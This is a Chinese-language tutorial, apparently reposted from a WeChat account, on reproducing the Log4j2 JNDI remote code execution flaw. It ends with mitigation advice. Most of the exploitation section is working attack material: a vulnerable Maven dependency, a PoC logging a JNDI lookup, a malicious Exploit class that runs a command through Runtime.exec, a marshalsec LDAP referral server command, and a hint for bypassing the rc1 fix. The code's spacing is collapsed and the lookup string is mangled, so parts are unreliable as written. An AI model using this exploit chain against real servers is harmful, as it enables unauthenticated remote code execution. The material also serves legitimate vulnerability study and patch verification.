1. 簡介
ApacheLog4j2是一個開源的Java日志框架,被廣泛地應(yīng)用在中間件、開發(fā)框架與Web應(yīng)用中。
2. 漏洞概述
該漏洞是由于Apache Log4j2某些功能存在遞歸解析功能,未經(jīng)身份驗(yàn)證的攻擊者通過發(fā)送特定惡意數(shù)據(jù)包,可在目標(biāo)服務(wù)器上執(zhí)行任意代碼。
3. 影響范圍
Apache Log4j 2.x <= 2.15.0-rc1
4. 環(huán)境搭建
1、創(chuàng)建一個新的maven項(xiàng)目,并導(dǎo)入Log4j的依賴包
org.apache.logging.log4j log4j-core 2.14.1
漏洞利用
1、使用POC測試
importorg.apache.logging.log4j.LogManager; importorg.apache.logging.log4j.Logger; classLogTest{ publicstaticfinalLoggerlogger=LogManager.getLogger(); publicstaticvoidmain(String[]args){ logger.error("${jndi//localhost:8888/Exploit}"); } }
2、編譯一惡意類Exploit.class
首先新建exp.java,然后編譯為class文件
classExploit{ static{ System.err.println("Pwned"); try{ Stringcmds="calc"; Runtime.getRuntime().exec(cmds); }catch(Exceptione){ e.printStackTrace(); } } }
javacexp.java
3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地開啟一個LDAP服務(wù)
java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit"8888
4、運(yùn)行poc.java,即可訪問惡意類并執(zhí)行寫在其中的"calc"命令
結(jié)合一些其它 StrLookup 適當(dāng)變形,以及配合官方測試用例中臟數(shù)據(jù)"?Type=A Type&Name=1100110&Char=!"可繞過rc1,RC2版本對此異常進(jìn)行了捕獲。
5. 修復(fù)方式
目前,Apache官方已發(fā)布新版本完成漏洞修復(fù),建議用戶盡快進(jìn)行自查,并及時(shí)升級至最新版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 建議同時(shí)采用如下臨時(shí)措施進(jìn)行漏洞防范:
1)添加jvm啟動參數(shù)-Dlog4j2.formatMsgNoLookups=true;
2)在應(yīng)用classpath下添加log4j2.component.properties配置文件,文件內(nèi)容為log4j2.formatMsgNoLookups=true;
3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4)部署使用第三方防火墻產(chǎn)品進(jìn)行安全防護(hù)。
-
JAVA
+關(guān)注
關(guān)注
20文章
2985瀏覽量
106950 -
漏洞
+關(guān)注
關(guān)注
0文章
205瀏覽量
15630
原文標(biāo)題:手把手教你復(fù)現(xiàn) Log4j2 漏洞
文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
STM32Cube工具的log4j漏洞CVE-2021-44228和CVE-2021-45046有何影響?
Java日志框架中的王者是誰
使用Keysight免費(fèi)評估Log4j/Log4Shell零日漏洞
華為云VSS漏洞掃描服務(wù)為你排除Apache log4j2隱患

委派模式——從SLF4J說起
log4j日志框架分析

Spring Boot的日志框架使用

【聲明】請您放心,我們的產(chǎn)品沒有用log4j

保護(hù)Log4j日志中的敏感數(shù)據(jù),兩步搞定!
某些bug正常運(yùn)行時(shí)會出現(xiàn),當(dāng)打開串口log時(shí)又不再復(fù)現(xiàn)怎么辦?
Log4cpp優(yōu)勢及優(yōu)點(diǎn)

評論